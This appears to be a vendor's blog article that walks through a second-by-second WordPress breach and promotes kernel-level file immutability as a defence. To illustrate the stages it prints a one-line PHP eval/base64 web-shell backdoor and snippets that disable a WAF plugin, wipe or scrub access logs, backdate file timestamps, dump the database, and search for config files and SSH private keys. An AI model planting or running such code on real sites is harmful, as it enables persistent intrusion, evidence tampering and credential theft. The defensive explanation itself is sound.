What Could Happen Within the First 60 Seconds After a WordPress Website Has Been Breached
A technical walkthrough of an attack chain and where it can be broken
Here is a technical walkthrough of an attack chain and where and how it can be broken.
Typically a vulnerability gets disclosed, the patch is available, but as is often the case, the plugin does not get updated.
Your website vulnerability has been detected by an attacker’s scanner.
This is what could happen after that detection.
Second 0-5: Initial Exploitation
The attacker uses their scripts, to send multiple malicious requests to your website. Some examples are:
- A file upload that bypasses extension checks
- A SQL injection that escapes into code execution
- A PHP object injection exploiting insecure deserialization
- A simple POST request to a vulnerable AJAX endpoint
Your Web Application Firewall (WAF) may or may not detect this. If it’s a known attack, it will be blocked, however if it is not, what we call a zero-day, or an attack on a plugin your WAF doesn’t have rules for as yet, it will get through.
The request completes. PHP executes attacker controlled code for the first time.
What’s at stake: This is the point of no return. If the attack is blocked here, nothing else happens. If it gets through, everything that follows becomes possible.
Second 5-15: Environment Reconnaissance
The attacker’s code runs a series of rapid checks:
- What user is PHP running as?
- What's the full path to the webroot?
- What WordPress version is installed?
- What plugins are active?
- Is this a standalone website or is it a multisite?
- Are there other WordPress installations on this server?
- What security plugins are present?
This happens in milliseconds. The attacker now has a map of the environment.
More sophisticated attacks also check:
- Can I write to the webroot?
- Can I write to wp-content/uploads?
- Can I write outside the webroot?
- What's in wp-config.php?
- Are there database credentials I can harvest?
What’s at stake: The attacker is determining what’s possible. A locked-down environment limits their options. An open one gives them everything.
Second 15-30: Persistence Establishment
This is the critical phase. The attacker’s immediate goal isn’t to steal data or deface the site, it’s to ensure they can come back.
The script writes a backdoor. Common locations:
wp-includes/version.php(executes on every page load)wp-content/themes/[active-theme]/functions.php(executes on every page load)wp-content/plugins/[popular-plugin]/[inconspicuous-file].php- A new file in
wp-content/uploads/with a legitimate-sounding name
The backdoor itself is usually small, sometimes just a single line:
<?php if(isset($_REQUEST['cmd'])) eval(base64_decode($_REQUEST['cmd'])); ?>
This gives the attacker a permanent way to execute arbitrary code by simply visiting a URL with the right parameter.
Alternative persistence methods:
- Create a new WordPress admin user
- Add their SSH key to
~/.ssh/authorized_keys(if writable) - Install a malicious plugin
- Modify the database to include backdoor code in widget areas or post content
What’s at stake: If the attacker achieves persistence, you’re no longer dealing with a single incident. You have an ongoing compromise. Even if you find and patch the original vulnerability, they’re still inside.
This is where kernel-level file immutability changes everything. If core files and critical plugin files are immutable, the write operation fails:
echo "backdoor" >> wp-includes/version.php
-bash: wp-includes/version.php: Operation not permitted
The attacker has code execution, but they cannot persist through file modification. The attack chain breaks here.
Second 30-45: Defense Evasion
Assuming persistence succeeded, the attacker now covers their tracks.
Security plugin neutralization:
// Disable your WAF
rename('/var/www/html/wp-content/plugins/{your WAF}', '/var/www/html/wp-content/plugins/.{your WAF}');
// Or modify its configuration
file_put_contents('/var/www/html/wp-content/{your WAF}logs/config.php', '<?php // disabled');
Log manipulation:
// Clear access logs if writable
file_put_contents('/var/log/apache2/access.log', '');
// Or selectively remove entries containing their IP
$log = file_get_contents('/var/log/apache2/access.log');
$log = preg_replace('/.*123\.45\.67\.89.*\n/', '', $log);
file_put_contents('/var/log/apache2/access.log', $log);
Timestamp manipulation:
// Make the backdoor file appear old
touch('/var/www/html/wp-includes/version.php', strtotime('2024-01-15'));
What’s at stake: Your security tools are now compromised. They may still be “running,” but they’re not seeing what the attacker doesn’t want them to see. Your logs may show nothing unusual. Your file timestamps may look normal. Your integrity monitor may have been told to ignore certain paths.
With immutable files: The attacker cannot modify your security plugins. They cannot alter log files (if those are also protected). The tools you rely on remain intact.
Second 45-60: Secondary Objectives
With persistence established and defenses neutralized, the attacker begins their actual objectives:
Data harvesting:
// Grab wp-config.php credentials
$config = file_get_contents('/var/www/html/wp-config.php');
// Extract and exfiltrate DB credentials, salts, keys
// Dump the database
exec('mysqldump -u root -ppassword wordpress > /tmp/dump.sql');
// Exfiltrate via HTTP POST to attacker-controlled server
Lateral movement:
// Check for other sites on this server
$sites = glob('/var/www/*/wp-config.php');
// Each one is a new target
// Check for SSH keys
$keys = glob('/home/*/.ssh/id_rsa');
// Potential access to other servers
Staging for future attacks:
// Install cryptocurrency miner
// Set up spam relay
// Create phishing pages
// Store malware for distribution to site visitors
All of this happens within the first minute. Often much faster.
What’s at stake: Now it’s not just your site. It’s your customer data, your database credentials, other sites on the same server, potentially your entire infrastructure.
The Timeline Visualized
│
│ Vulnerability exploited
│ Code execution achieved
│
5s ───────── RECONNAISSANCE ──────────
│
│ Environment mapped
│ Privileges determined
│ Targets identified
│
15s ───────── PERSISTENCE ───────────── ← CRITICAL INTERVENTION POINT
│
│ Backdoor written ← BLOCKED BY FILE IMMUTABILITY
│ Admin user created
│ Ongoing access secured
│
30s ───────── EVASION ─────────────────
│
│ Security tools disabled ← BLOCKED BY FILE IMMUTABILITY
│ Logs manipulated ← BLOCKED BY FILE IMMUTABILITY
│ Timestamps altered
│
45s ───────── EXPLOITATION ────────────
│
│ Data stolen
│ Lateral movement
│ Secondary payloads
│
60s ───────── ESTABLISHED COMPROMISE ──
Why the First Minute Matters
Everything after second 30 depends on successful persistence. If the attacker cannot modify files to create a backdoor, their options become severely limited:
- No persistence = They’d need to re-exploit the vulnerability every time
- No evasion = Your security tools keep working, keep logging, keep alerting
- Detection becomes possible = Without covering tracks, the intrusion is visible
- Incident vs. Breach = A single blocked attempt vs. weeks of compromise
The difference between a 30-second incident and a multi-week crisis is whether the attacker can write files.
What This Means for Your Security Posture
Traditional security (WAF + Scanner + Monitoring) gives you:
- Perimeter defense (second 0-5)
- Detection after the fact (once damage is done)
- Alerts that arrive too late to prevent persistence
Adding kernel-level file protection gives you:
- Prevention at the persistence phase (second 15-30)
- Intact security tools (the attacker can’t disable them)
- Preserved evidence (logs can’t be manipulated)
- Contained blast radius (one incident, not ongoing compromise)
Practical Application
If you’re responsible for WordPress security, audit your protection at each phase:
Phase 1 (Exploit): Is your WAF current? Are plugin updates automated or at least monitored? Do you have visibility into what vulnerabilities exist on your site?
Phase 2 (Reconnaissance): Are file permissions properly restricted? Is wp-config.php outside the webroot where possible? Are directory listings disabled?
Phase 3 (Persistence): This is where most security stacks have nothing. Can an attacker with code execution modify your core files? Your theme files? Your plugin files? If yes, you have a gap.
Phase 4 (Evasion): Are your security tools’ files protected? Are your logs write-protected or shipped off-server? Can an attacker disable your monitoring?
Phase 5 (Exploitation): Is your database encrypted at rest? Are credentials rotated regularly? Do you have network segmentation limiting lateral movement?
Most WordPress security focuses heavily on Phase 1 and lightly on Phase 5. Phases 3 and 4, where kernel-level protection operates, are typically unaddressed.
The Bottom Line
Sixty seconds. That’s how long it takes to go from “vulnerable site” to “persistent compromise.” The attacker’s script is optimized for speed. It doesn’t pause to consider your security budget or your update schedule.
Your protection needs to operate at the same speed. Detection that alerts you ten minutes later, or ten hours later, is valuable for forensics. It’s not valuable for prevention.
The only way to stop the attack chain in real-time is to make the critical operations fail. When the attacker’s persistence script tries to modify wp-includes/version.php and receives “Operation not permitted” from the kernel, the chain breaks.
They got in. They ran code. But they couldn’t stay.
That’s the difference a minute makes.
Don’t Let 60 Seconds Become 60 Days
Break the attack chain at the persistence phase. Learn how kernel-level file protection stops attackers from staying, even after they get in.
